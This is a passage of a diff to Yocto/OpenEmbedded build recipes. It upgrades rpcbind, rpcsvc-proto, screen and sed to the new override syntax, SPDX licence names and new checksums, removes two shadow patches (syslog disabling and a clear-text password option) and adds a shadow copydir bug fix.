@@ -16,10 +16,9 @@ SRC_URI = "${SOURCEFORGE_MIRROR}/rpcbind/rpcbind-${PV}.tar.bz2 \
file://rpcbind_add_option_to_fix_port_number.patch \
file://0001-systemd-use-EnvironmentFile.patch \
"
-SRC_URI[md5sum] = "ed46f09b9c0fa2d49015f6431bc5ea7b"
-SRC_URI[sha256sum] = "2ce360683963b35c19c43f0ee2c7f18aa5b81ef41c3fdbd15ffcb00b8bffda7a"
+SRC_URI[sha256sum] = "5613746489cae5ae23a443bb85c05a11741a5f12c8f55d2bb5e83b9defeee8de"
-inherit autotools update-rc.d systemd pkgconfig
+inherit autotools update-rc.d systemd pkgconfig update-alternatives
PACKAGECONFIG ??= "tcp-wrappers"
PACKAGECONFIG[tcp-wrappers] = "--enable-libwrap,--disable-libwrap,tcp-wrappers"
@@ -27,26 +26,30 @@ PACKAGECONFIG[tcp-wrappers] = "--enable-libwrap,--disable-libwrap,tcp-wrappers"
INITSCRIPT_NAME = "rpcbind"
INITSCRIPT_PARAMS = "start 12 2 3 4 5 . stop 60 0 1 6 ."
-SYSTEMD_SERVICE_${PN} = "rpcbind.service rpcbind.socket"
+SYSTEMD_SERVICE:${PN} = "rpcbind.service rpcbind.socket"
inherit useradd
USERADD_PACKAGES = "${PN}"
-USERADD_PARAM_${PN} = "--system --no-create-home --home-dir / \
+USERADD_PARAM:${PN} = "--system --no-create-home --home-dir / \
--shell /bin/false --user-group rpc"
PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
-PACKAGECONFIG[systemd] = "--with-systemdsystemunitdir=${systemd_unitdir}/system/, \
+PACKAGECONFIG[systemd] = "--with-systemdsystemunitdir=${systemd_system_unitdir}/, \
--without-systemdsystemunitdir, \
systemd \
"
-EXTRA_OECONF += " --enable-warmstarts --with-rpcuser=rpc"
+EXTRA_OECONF += " --enable-warmstarts --with-rpcuser=rpc --with-statedir=${runtimedir}/rpcbind"
-do_install_append () {
+do_install:append () {
install -d ${D}${sysconfdir}/init.d
sed -e 's,/etc/,${sysconfdir}/,g' \
-e 's,/sbin/,${sbindir}/,g' \
${WORKDIR}/init.d > ${D}${sysconfdir}/init.d/rpcbind
chmod 0755 ${D}${sysconfdir}/init.d/rpcbind
+ install -m 0644 ${WORKDIR}/rpcbind.conf ${D}${sysconfdir}/rpcbind.conf
}
+
+ALTERNATIVE:${PN} = "rpcinfo"
+ALTERNATIVE_LINK_NAME[rpcinfo] = "${bindir}/rpcinfo"
diff --git a/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto.bb b/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto.bb
index 5aff2b56a6..20933153a3 100644
--- a/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto.bb
+++ b/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto.bb
@@ -15,25 +15,25 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=0daaf958d5531ab86169ec6e275e1517"
SECTION = "libs"
DEPENDS += "rpcsvc-proto-native"
-PV = "1.4.2"
+PV = "1.4.4"
-SRCREV = "6f54e54455c073d08a56ea627c6cd2355a40eb53"
+SRCREV = "c65926005e50da02a4da3e26abc42eded36cd19d"
-SRC_URI = "git://github.com/thkukuk/${BPN} \
+SRC_URI = "git://github.com/thkukuk/${BPN};branch=master;protocol=https \
file://0001-Use-cross-compiled-rpcgen.patch \
- "
+ "
S = "${WORKDIR}/git"
inherit autotools gettext
-EXTRA_OEMAKE_class-native = " -C rpcgen"
+EXTRA_OEMAKE:class-native = " -C rpcgen"
-do_configure_prepend() {
+do_configure:prepend() {
touch ${S}/ABOUT-NLS
}
-do_install_append() {
+do_install:append() {
# They come from quota recipe
rm -rf ${D}${includedir}/rpcsvc/rquota.[hx]
}
diff --git a/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto/0001-Use-cross-compiled-rpcgen.patch b/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto/0001-Use-cross-compiled-rpcgen.patch
index 208974004b..8e459b5634 100644
--- a/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto/0001-Use-cross-compiled-rpcgen.patch
+++ b/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto/0001-Use-cross-compiled-rpcgen.patch
@@ -10,14 +10,11 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
rpcsvc/Makefile.am | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
-Index: git/rpcsvc/Makefile.am
-===================================================================
---- git.orig/rpcsvc/Makefile.am
-+++ git/rpcsvc/Makefile.am
-@@ -12,5 +12,5 @@ nodist_rpcsvc_HEADERS = klm_prot.h nlm_p
+--- a/rpcsvc/Makefile.am
++++ b/rpcsvc/Makefile.am
+@@ -12,4 +12,4 @@ nodist_rpcsvc_HEADERS = klm_prot.h nlm_p
nfs_prot.h rquota.h sm_inter.h
- %.h: %.x
+ .x.h:
- $(top_builddir)/rpcgen/rpcgen -h -o $@ $<
+ rpcgen -h -o $@ $<
-
diff --git a/meta/recipes-extended/screen/screen_4.8.0.bb b/meta/recipes-extended/screen/screen_4.9.1.bb
index 4772eb6c7a..7b040e6b57 100644
--- a/meta/recipes-extended/screen/screen_4.8.0.bb
+++ b/meta/recipes-extended/screen/screen_4.9.1.bb
@@ -7,24 +7,23 @@ BUGTRACKER = "https://savannah.gnu.org/bugs/?func=additem&group=screen"
SECTION = "console/utils"
-LICENSE = "GPLv3+"
+LICENSE = "GPL-3.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
file://screen.h;endline=26;md5=b8dc717c9a3dba842ae6c44ca0f73f52 \
"
DEPENDS = "ncurses virtual/crypt \
${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}"
-RDEPENDS_${PN} = "base-files"
+RDEPENDS:${PN} = "base-files"
SRC_URI = "${GNU_MIRROR}/screen/screen-${PV}.tar.gz \
${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'file://screen.pam', '', d)} \
file://0002-comm.h-now-depends-on-term.h.patch \
file://0001-fix-for-multijob-build.patch \
file://0001-Remove-more-compatibility-stuff.patch \
- "
+ "
-SRC_URI[md5sum] = "d276213d3acd10339cd37848b8c4ab1e"
-SRC_URI[sha256sum] = "6e11b13d8489925fde25dfb0935bf6ed71f9eb47eff233a181e078fde5655aa1"
+SRC_URI[sha256sum] = "26cef3e3c42571c0d484ad6faf110c5c15091fbf872b06fa7aa4766c7405ac69"
inherit autotools texinfo
@@ -34,17 +33,17 @@ PACKAGECONFIG[utempter] = "ac_cv_header_utempter_h=yes,ac_cv_header_utempter_h=n
EXTRA_OECONF = "--with-pty-mode=0620 --with-pty-group=5 --with-sys-screenrc=${sysconfdir}/screenrc \
${@bb.utils.contains('DISTRO_FEATURES', 'pam', '--enable-pam', '--disable-pam', d)}"
-do_install_append () {
+do_install:append () {
install -D -m 644 ${S}/etc/etcscreenrc ${D}/${sysconfdir}/screenrc
if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then
install -D -m 644 ${WORKDIR}/screen.pam ${D}/${sysconfdir}/pam.d/screen
fi
}
-pkg_postinst_${PN} () {
+pkg_postinst:${PN} () {
grep -q "^${bindir}/screen$" $D${sysconfdir}/shells || echo ${bindir}/screen >> $D${sysconfdir}/shells
}
-pkg_postrm_${PN} () {
+pkg_postrm:${PN} () {
printf "$(grep -v "^${bindir}/screen$" $D${sysconfdir}/shells)\n" > $D${sysconfdir}/shells
}
diff --git a/meta/recipes-extended/sed/sed/run-ptest b/meta/recipes-extended/sed/sed/run-ptest
index 993d7d5d75..0460c7961f 100644
--- a/meta/recipes-extended/sed/sed/run-ptest
+++ b/meta/recipes-extended/sed/sed/run-ptest
@@ -2,4 +2,4 @@
chown nobody testsuite
chown nobody ../ptest
-su nobody -c "make test-suite.log"
+su nobody -s /bin/sh -c "make test-suite.log"
diff --git a/meta/recipes-extended/sed/sed_4.8.bb b/meta/recipes-extended/sed/sed_4.9.bb
index 39e3a61df5..c4d89c34b2 100644
--- a/meta/recipes-extended/sed/sed_4.8.bb
+++ b/meta/recipes-extended/sed/sed_4.9.bb
@@ -1,8 +1,9 @@
SUMMARY = "Stream EDitor (text filtering utility)"
HOMEPAGE = "http://www.gnu.org/software/sed/"
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=c678957b0c8e964aa6c70fd77641a71e \
- file://sed/sed.h;beginline=1;endline=15;md5=fb3c7e6fbca6f66943859153d4be8efe \
+DESCRIPTION = "sed (stream editor) is a non-interactive command-line text editor."
+LICENSE = "GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464 \
+ file://sed/sed.h;beginline=1;endline=15;md5=4e8e0f77bc4c1c2c02c2b90d3d24c670 \
"
SECTION = "console/utils"
@@ -10,15 +11,14 @@ SRC_URI = "${GNU_MIRROR}/sed/sed-${PV}.tar.xz \
file://run-ptest \
"
-SRC_URI[md5sum] = "6d906edfdb3202304059233f51f9a71d"
-SRC_URI[sha256sum] = "f79b0cfea71b37a8eeec8490db6c5f7ae7719c35587f21edb0617f370eeff633"
+SRC_URI[sha256sum] = "6e226b732e1cd739464ad6862bd1a1aba42d7982922da7a53519631d24975181"
inherit autotools texinfo update-alternatives gettext ptest
PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux"
-RDEPENDS_${PN}-ptest += "make gawk perl perl-module-filehandle perl-module-file-compare perl-module-file-find perl-module-file-temp perl-module-file-stat"
-RRECOMMENDS_${PN}-ptest_append_libc-glibc = " locale-base-ru-ru locale-base-en-us locale-base-el-gr.iso-8859-7"
+RDEPENDS:${PN}-ptest += "make gawk perl perl-module-filehandle perl-module-file-compare perl-module-file-find perl-module-file-temp perl-module-file-stat"
+RRECOMMENDS:${PN}-ptest:append:libc-glibc = " locale-base-ru-ru locale-base-en-us locale-base-el-gr.iso-8859-7"
EXTRA_OECONF = "--disable-acl \
"
@@ -32,7 +32,7 @@ do_install () {
fi
}
-ALTERNATIVE_${PN} = "sed"
+ALTERNATIVE:${PN} = "sed"
ALTERNATIVE_LINK_NAME[sed] = "${base_bindir}/sed"
ALTERNATIVE_PRIORITY = "100"
@@ -62,4 +62,6 @@ do_install_ptest() {
-i ${D}${PTEST_PATH}/Makefile
}
-RPROVIDES_${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', '/bin/sed', '', d)}"
+RPROVIDES:${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', '/bin/sed', '', d)}"
+
+BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-extended/shadow/files/0001-Disable-use-of-syslog-for-sysroot.patch b/meta/recipes-extended/shadow/files/0001-Disable-use-of-syslog-for-sysroot.patch
deleted file mode 100644
index ab317b9aa0..0000000000
--- a/meta/recipes-extended/shadow/files/0001-Disable-use-of-syslog-for-sysroot.patch
+++ /dev/null
@@ -1,123 +0,0 @@
-From fa2d9453656641002802d8165e80adb9e6a729d2 Mon Sep 17 00:00:00 2001
-From: Scott Garman <scott.a.garman@intel.com>
-Date: Thu, 14 Apr 2016 12:28:57 +0200
-Subject: [PATCH] Disable use of syslog for sysroot
-
-Disable use of syslog to prevent sysroot user and group additions from
-writing entries to the host's syslog. This patch should only be used
-with the shadow-native recipe.
-
-Upstream-Status: Inappropriate [disable feature]
-
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-Signed-off-by: Peter Kjellerstedt <peter.kjellerstedt@axis.com>
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-
----
- src/groupadd.c | 3 +++
- src/groupdel.c | 3 +++
- src/groupmems.c | 3 +++
- src/groupmod.c | 3 +++
- src/useradd.c | 3 +++
- src/userdel.c | 3 +++
- src/usermod.c | 3 +++
- 7 files changed, 21 insertions(+)
-
-diff --git a/src/groupadd.c b/src/groupadd.c
-index 2dd8eec..e9c4bb7 100644
---- a/src/groupadd.c
-+++ b/src/groupadd.c
-@@ -34,6 +34,9 @@
-
- #ident "$Id$"
-
-+/* Disable use of syslog since we're running this command against a sysroot */
-+#undef USE_SYSLOG
-+
- #include <ctype.h>
- #include <fcntl.h>
- #include <getopt.h>
-diff --git a/src/groupdel.c b/src/groupdel.c
-index f941a84..5a70056 100644
---- a/src/groupdel.c
-+++ b/src/groupdel.c
-@@ -34,6 +34,9 @@
-
- #ident "$Id$"
-
-+/* Disable use of syslog since we're running this command against a sysroot */
-+#undef USE_SYSLOG
-+
- #include <ctype.h>
- #include <fcntl.h>
- #include <grp.h>
-diff --git a/src/groupmems.c b/src/groupmems.c
-index fc91c8b..2842514 100644
---- a/src/groupmems.c
-+++ b/src/groupmems.c
-@@ -32,6 +32,9 @@
-
- #include <config.h>
-
-+/* Disable use of syslog since we're running this command against a sysroot */
-+#undef USE_SYSLOG
-+
- #include <fcntl.h>
- #include <getopt.h>
- #include <grp.h>
-diff --git a/src/groupmod.c b/src/groupmod.c
-index 1dca5fc..bc14438 100644
---- a/src/groupmod.c
-+++ b/src/groupmod.c
-@@ -34,6 +34,9 @@
-
- #ident "$Id$"
-
-+/* Disable use of syslog since we're running this command against a sysroot */
-+#undef USE_SYSLOG
-+
- #include <ctype.h>
- #include <fcntl.h>
- #include <getopt.h>
-diff --git a/src/useradd.c b/src/useradd.c
-index 4af0f7c..1b7bf06 100644
---- a/src/useradd.c
-+++ b/src/useradd.c
-@@ -34,6 +34,9 @@
-
- #ident "$Id$"
-
-+/* Disable use of syslog since we're running this command against a sysroot */
-+#undef USE_SYSLOG
-+
- #include <assert.h>
- #include <ctype.h>
- #include <errno.h>
-diff --git a/src/userdel.c b/src/userdel.c
-index cc951e5..153e0be 100644
---- a/src/userdel.c
-+++ b/src/userdel.c
-@@ -34,6 +34,9 @@
-
- #ident "$Id$"
-
-+/* Disable use of syslog since we're running this command against a sysroot */
-+#undef USE_SYSLOG
-+
- #include <assert.h>
- #include <errno.h>
- #include <fcntl.h>
-diff --git a/src/usermod.c b/src/usermod.c
-index 05b9871..21c6da9 100644
---- a/src/usermod.c
-+++ b/src/usermod.c
-@@ -34,6 +34,9 @@
-
- #ident "$Id$"
-
-+/* Disable use of syslog since we're running this command against a sysroot */
-+#undef USE_SYSLOG
-+
- #include <assert.h>
- #include <ctype.h>
- #include <errno.h>
diff --git a/meta/recipes-extended/shadow/files/0001-lib-copydir-copy_entry-use-temporary-stat-buffer.patch b/meta/recipes-extended/shadow/files/0001-lib-copydir-copy_entry-use-temporary-stat-buffer.patch
new file mode 100644
index 0000000000..2e5503bfd4
--- /dev/null
+++ b/meta/recipes-extended/shadow/files/0001-lib-copydir-copy_entry-use-temporary-stat-buffer.patch
@@ -0,0 +1,37 @@
+From af4b8cb780587aa736692a3baa76b60474f19c5d Mon Sep 17 00:00:00 2001
+From: Enrico Scholz <enrico.scholz@sigma-chemnitz.de>
+Date: Mon, 18 Mar 2024 12:14:21 +0100
+Subject: [PATCH] lib/copydir:copy_entry(): use temporary stat buffer
+
+There are no guarantees that fstatat() does not clobber the stat
+buffer on errors.
+
+Use a temporary buffer so that the following code sees correct
+attributes of the source entry.
+
+Upstream-Status: Submitted [https://github.com/shadow-maint/shadow/pull/974]
+
+Signed-off-by: Enrico Scholz <enrico.scholz@sigma-chemnitz.de>
+---
+ lib/copydir.c | 3 ++-
+ 1 file changed, 2 insertions(+), 1 deletion(-)
+
+--- a/lib/copydir.c
++++ b/lib/copydir.c
+@@ -400,6 +400,7 @@ static int copy_entry (const struct path
+ {
+ int err = 0;
+ struct stat sb;
++ struct stat tmp_sb;
+ struct link_name *lp;
+ struct timespec mt[2];
+
+@@ -423,7 +424,7 @@ static int copy_entry (const struct path
+ * If the destination already exists do nothing.
+ * This is after the copy_dir above to still iterate into subdirectories.
+ */
+- if (fstatat(dst->dirfd, dst->name, &sb, AT_SYMLINK_NOFOLLOW) != -1) {
++ if (fstatat(dst->dirfd, dst->name, &tmp_sb, AT_SYMLINK_NOFOLLOW) != -1) {
+ return err;
+ }
+
diff --git a/meta/recipes-extended/shadow/files/0002-Allow-for-setting-password-in-clear-text.patch b/meta/recipes-extended/shadow/files/0002-Allow-for-setting-password-in-clear-text.patch
deleted file mode 100644
index c6332e4f76..0000000000
--- a/meta/recipes-extended/shadow/files/0002-Allow-for-setting-password-in-clear-text.patch
+++ /dev/null
@@ -1,301 +0,0 @@
-From a7d995228491ad5255ad86c1f04ba071f6880897 Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Sat, 16 Nov 2013 15:27:47 +0800
-Subject: [PATCH] Allow for setting password in clear text
-
-Upstream-Status: Inappropriate [OE specific]
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-
----
- src/Makefile.am | 8 ++++----
- src/groupadd.c | 20 +++++++++++++++-----
- src/groupmod.c | 20 +++++++++++++++-----
- src/useradd.c | 21 +++++++++++++++------
- src/usermod.c | 20 +++++++++++++++-----
- 5 files changed, 64 insertions(+), 25 deletions(-)
-
-diff --git a/src/Makefile.am b/src/Makefile.am
-index f31fd7a..4a317a3 100644
---- a/src/Makefile.am
-+++ b/src/Makefile.am
-@@ -103,10 +103,10 @@ chsh_LDADD = $(LDADD) $(LIBPAM) $(LIBAUDIT) $(LIBSELINUX) $(LIBCRYPT_NOPAM)
- chpasswd_LDADD = $(LDADD) $(LIBPAM) $(LIBAUDIT) $(LIBSELINUX) $(LIBCRYPT) $(LIBECONF)
- expiry_LDADD = $(LDADD) $(LIBECONF)
- gpasswd_LDADD = $(LDADD) $(LIBAUDIT) $(LIBSELINUX) $(LIBCRYPT) $(LIBECONF)
--groupadd_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF)
-+groupadd_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF) $(LIBCRYPT)
- groupdel_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF)
- groupmems_LDADD = $(LDADD) $(LIBPAM) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF)
--groupmod_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF)
-+groupmod_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF) $(LIBCRYPT)
- grpck_LDADD = $(LDADD) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF)
- grpconv_LDADD = $(LDADD) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF)
- grpunconv_LDADD = $(LDADD) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF)
-@@ -127,9 +127,9 @@ su_SOURCES = \
- suauth.c
- su_LDADD = $(LDADD) $(LIBPAM) $(LIBAUDIT) $(LIBCRYPT_NOPAM) $(LIBSKEY) $(LIBMD) $(LIBECONF)
- sulogin_LDADD = $(LDADD) $(LIBCRYPT) $(LIBECONF)
--useradd_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBSEMANAGE) $(LIBACL) $(LIBATTR) $(LIBECONF)
-+useradd_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBSEMANAGE) $(LIBACL) $(LIBATTR) $(LIBECONF) $(LIBCRYPT)
- userdel_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBSEMANAGE) $(LIBECONF)
--usermod_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBSEMANAGE) $(LIBACL) $(LIBATTR) $(LIBECONF)
-+usermod_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBSEMANAGE) $(LIBACL) $(LIBATTR) $(LIBECONF) $(LIBCRYPT)
- vipw_LDADD = $(LDADD) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF)
-
- install-am: all-am
-diff --git a/src/groupadd.c b/src/groupadd.c
-index e9c4bb7..d572c00 100644
---- a/src/groupadd.c
-+++ b/src/groupadd.c
-@@ -127,9 +127,10 @@ static /*@noreturn@*/void usage (int status)
- (void) fputs (_(" -o, --non-unique allow to create groups with duplicate\n"
- " (non-unique) GID\n"), usageout);
- (void) fputs (_(" -p, --password PASSWORD use this encrypted password for the new group\n"), usageout);
-+ (void) fputs (_(" -P, --clear-password PASSWORD use this clear password for the new group\n"), usageout);
- (void) fputs (_(" -r, --system create a system account\n"), usageout);
- (void) fputs (_(" -R, --root CHROOT_DIR directory to chroot into\n"), usageout);
-- (void) fputs (_(" -P, --prefix PREFIX_DIR directory prefix\n"), usageout);
-+ (void) fputs (_(" -A, --prefix PREFIX_DIR directory prefix\n"), usageout);
- (void) fputs ("\n", usageout);
- exit (status);
- }
-@@ -391,13 +392,14 @@ static void process_flags (int argc, char **argv)
- {"key", required_argument, NULL, 'K'},
- {"non-unique", no_argument, NULL, 'o'},
- {"password", required_argument, NULL, 'p'},
-+ {"clear-password", required_argument, NULL, 'P'},
- {"system", no_argument, NULL, 'r'},
- {"root", required_argument, NULL, 'R'},
-- {"prefix", required_argument, NULL, 'P'},
-+ {"prefix", required_argument, NULL, 'A'},
- {NULL, 0, NULL, '\0'}
- };
-
-- while ((c = getopt_long (argc, argv, "fg:hK:op:rR:P:",
-+ while ((c = getopt_long (argc, argv, "fg:hK:op:P:rR:A:",
- long_options, NULL)) != -1) {
- switch (c) {
- case 'f':
-@@ -449,12 +451,20 @@ static void process_flags (int argc, char **argv)
- pflg = true;
- group_passwd = optarg;
- break;
-+ case 'P':
-+ pflg = true;
-+ group_passwd = pw_encrypt (optarg, crypt_make_salt (NULL, NULL));
-+ break;
- case 'r':
- rflg = true;
- break;
- case 'R': /* no-op, handled in process_root_flag () */
- break;
-- case 'P': /* no-op, handled in process_prefix_flag () */
-+ case 'A': /* no-op, handled in process_prefix_flag () */
-+ fprintf (stderr,
-+ _("%s: -A is deliberately not supported \n"),
-+ Prog);
-+ exit (E_BAD_ARG);
- break;
- default:
- usage (E_USAGE);
-@@ -588,7 +598,7 @@ int main (int argc, char **argv)
- (void) textdomain (PACKAGE);
-
- process_root_flag ("-R", argc, argv);
-- prefix = process_prefix_flag ("-P", argc, argv);
-+ prefix = process_prefix_flag ("-A", argc, argv);
-
- OPENLOG ("groupadd");
- #ifdef WITH_AUDIT
-diff --git a/src/groupmod.c b/src/groupmod.c
-index bc14438..25ccb44 100644
---- a/src/groupmod.c
-+++ b/src/groupmod.c
-@@ -138,8 +138,9 @@ static void usage (int status)
- (void) fputs (_(" -o, --non-unique allow to use a duplicate (non-unique) GID\n"), usageout);
- (void) fputs (_(" -p, --password PASSWORD change the password to this (encrypted)\n"
- " PASSWORD\n"), usageout);
-+ (void) fputs (_(" -P, --clear-password PASSWORD change the password to this clear PASSWORD\n"), usageout);
- (void) fputs (_(" -R, --root CHROOT_DIR directory to chroot into\n"), usageout);
-- (void) fputs (_(" -P, --prefix PREFIX_DIR prefix directory where are located the /etc/* files\n"), usageout);
-+ (void) fputs (_(" -A, --prefix PREFIX_DIR prefix directory where are located the /etc/* files\n"), usageout);
- (void) fputs ("\n", usageout);
- exit (status);
- }
-@@ -387,11 +388,12 @@ static void process_flags (int argc, char **argv)
- {"new-name", required_argument, NULL, 'n'},
- {"non-unique", no_argument, NULL, 'o'},
- {"password", required_argument, NULL, 'p'},
-+ {"clear-password", required_argument, NULL, 'P'},
- {"root", required_argument, NULL, 'R'},
-- {"prefix", required_argument, NULL, 'P'},
-+ {"prefix", required_argument, NULL, 'A'},
- {NULL, 0, NULL, '\0'}
- };
-- while ((c = getopt_long (argc, argv, "g:hn:op:R:P:",
-+ while ((c = getopt_long (argc, argv, "g:hn:op:P:R:A:",
- long_options, NULL)) != -1) {
- switch (c) {
- case 'g':
-@@ -418,9 +420,17 @@ static void process_flags (int argc, char **argv)
- group_passwd = optarg;
- pflg = true;
- break;
-+ case 'P':
-+ group_passwd = pw_encrypt (optarg, crypt_make_salt (NULL, NULL));
-+ pflg = true;
-+ break;
- case 'R': /* no-op, handled in process_root_flag () */
- break;
-- case 'P': /* no-op, handled in process_prefix_flag () */
-+ case 'A': /* no-op, handled in process_prefix_flag () */
-+ fprintf (stderr,
-+ _("%s: -A is deliberately not supported \n"),
-+ Prog);
-+ exit (E_BAD_ARG);
- break;
- default:
- usage (E_USAGE);
-@@ -761,7 +771,7 @@ int main (int argc, char **argv)
- (void) textdomain (PACKAGE);
-
- process_root_flag ("-R", argc, argv);
-- prefix = process_prefix_flag ("-P", argc, argv);
-+ prefix = process_prefix_flag ("-A", argc, argv);
-
- OPENLOG ("groupmod");
- #ifdef WITH_AUDIT
-diff --git a/src/useradd.c b/src/useradd.c
-index 1b7bf06..44f09e2 100644
---- a/src/useradd.c
-+++ b/src/useradd.c
-@@ -853,9 +853,10 @@ static void usage (int status)
- (void) fputs (_(" -o, --non-unique allow to create users with duplicate\n"
- " (non-unique) UID\n"), usageout);
- (void) fputs (_(" -p, --password PASSWORD encrypted password of the new account\n"), usageout);
-+ (void) fputs (_(" -P, --clear-password PASSWORD clear password of the new account\n"), usageout);
- (void) fputs (_(" -r, --system create a system account\n"), usageout);
- (void) fputs (_(" -R, --root CHROOT_DIR directory to chroot into\n"), usageout);
-- (void) fputs (_(" -P, --prefix PREFIX_DIR prefix directory where are located the /etc/* files\n"), usageout);
-+ (void) fputs (_(" -A, --prefix PREFIX_DIR prefix directory where are located the /etc/* files\n"), usageout);
- (void) fputs (_(" -s, --shell SHELL login shell of the new account\n"), usageout);
- (void) fputs (_(" -u, --uid UID user ID of the new account\n"), usageout);
- (void) fputs (_(" -U, --user-group create a group with the same name as the user\n"), usageout);
-@@ -1133,9 +1134,10 @@ static void process_flags (int argc, char **argv)
- {"no-user-group", no_argument, NULL, 'N'},
- {"non-unique", no_argument, NULL, 'o'},
- {"password", required_argument, NULL, 'p'},
-+ {"clear-password", required_argument, NULL, 'P'},
- {"system", no_argument, NULL, 'r'},
- {"root", required_argument, NULL, 'R'},
-- {"prefix", required_argument, NULL, 'P'},
-+ {"prefix", required_argument, NULL, 'A'},
- {"shell", required_argument, NULL, 's'},
- {"uid", required_argument, NULL, 'u'},
- {"user-group", no_argument, NULL, 'U'},
-@@ -1146,9 +1148,9 @@ static void process_flags (int argc, char **argv)
- };
- while ((c = getopt_long (argc, argv,
- #ifdef WITH_SELINUX
-- "b:c:d:De:f:g:G:hk:K:lmMNop:rR:P:s:u:UZ:",
-+ "b:c:d:De:f:g:G:hk:K:lmMNop:P:rR:A:s:u:UZ:",
- #else /* !WITH_SELINUX */
-- "b:c:d:De:f:g:G:hk:K:lmMNop:rR:P:s:u:U",
-+ "b:c:d:De:f:g:G:hk:K:lmMNop:P:rR:A:s:u:U",
- #endif /* !WITH_SELINUX */
- long_options, NULL)) != -1) {
- switch (c) {
-@@ -1320,12 +1322,19 @@ static void process_flags (int argc, char **argv)
- }
- user_pass = optarg;
- break;
-+ case 'P': /* set clear text password */
-+ user_pass = pw_encrypt (optarg, crypt_make_salt (NULL, NULL));
-+ break;
- case 'r':
- rflg = true;
- break;
- case 'R': /* no-op, handled in process_root_flag () */
- break;
-- case 'P': /* no-op, handled in process_prefix_flag () */
-+ case 'A': /* no-op, handled in process_prefix_flag () */
-+ fprintf (stderr,
-+ _("%s: -A is deliberately not supported \n"),
-+ Prog);
-+ exit (E_BAD_ARG);
- break;
- case 's':
- if ( ( !VALID (optarg) )
-@@ -2257,7 +2266,7 @@ int main (int argc, char **argv)
-
- process_root_flag ("-R", argc, argv);
-
-- prefix = process_prefix_flag("-P", argc, argv);
-+ prefix = process_prefix_flag("-A", argc, argv);
-
- OPENLOG ("useradd");
- #ifdef WITH_AUDIT
-diff --git a/src/usermod.c b/src/usermod.c
-index 21c6da9..cffdb3e 100644
---- a/src/usermod.c
-+++ b/src/usermod.c
-@@ -431,8 +431,9 @@ static /*@noreturn@*/void usage (int status)
- " new location (use only with -d)\n"), usageout);
- (void) fputs (_(" -o, --non-unique allow using duplicate (non-unique) UID\n"), usageout);
- (void) fputs (_(" -p, --password PASSWORD use encrypted password for the new password\n"), usageout);
-+ (void) fputs (_(" -P, --clear-password PASSWORD use clear password for the new password\n"), usageout);
- (void) fputs (_(" -R, --root CHROOT_DIR directory to chroot into\n"), usageout);
-- (void) fputs (_(" -P, --prefix PREFIX_DIR prefix directory where are located the /etc/* files\n"), usageout);
-+ (void) fputs (_(" -A, --prefix PREFIX_DIR prefix directory where are located the /etc/* files\n"), usageout);
- (void) fputs (_(" -s, --shell SHELL new login shell for the user account\n"), usageout);
- (void) fputs (_(" -u, --uid UID new UID for the user account\n"), usageout);
- (void) fputs (_(" -U, --unlock unlock the user account\n"), usageout);
-@@ -1010,8 +1011,9 @@ static void process_flags (int argc, char **argv)
- {"move-home", no_argument, NULL, 'm'},
- {"non-unique", no_argument, NULL, 'o'},
- {"password", required_argument, NULL, 'p'},
-+ {"clear-password", required_argument, NULL, 'P'},
- {"root", required_argument, NULL, 'R'},
-- {"prefix", required_argument, NULL, 'P'},
-+ {"prefix", required_argument, NULL, 'A'},
- {"shell", required_argument, NULL, 's'},
- {"uid", required_argument, NULL, 'u'},
- {"unlock", no_argument, NULL, 'U'},
-@@ -1027,7 +1029,7 @@ static void process_flags (int argc, char **argv)
- {NULL, 0, NULL, '\0'}
- };
- while ((c = getopt_long (argc, argv,
-- "abc:d:e:f:g:G:hl:Lmop:R:s:u:UP:"
-+ "abc:d:e:f:g:G:hl:Lmop:P:R:s:u:UA:"
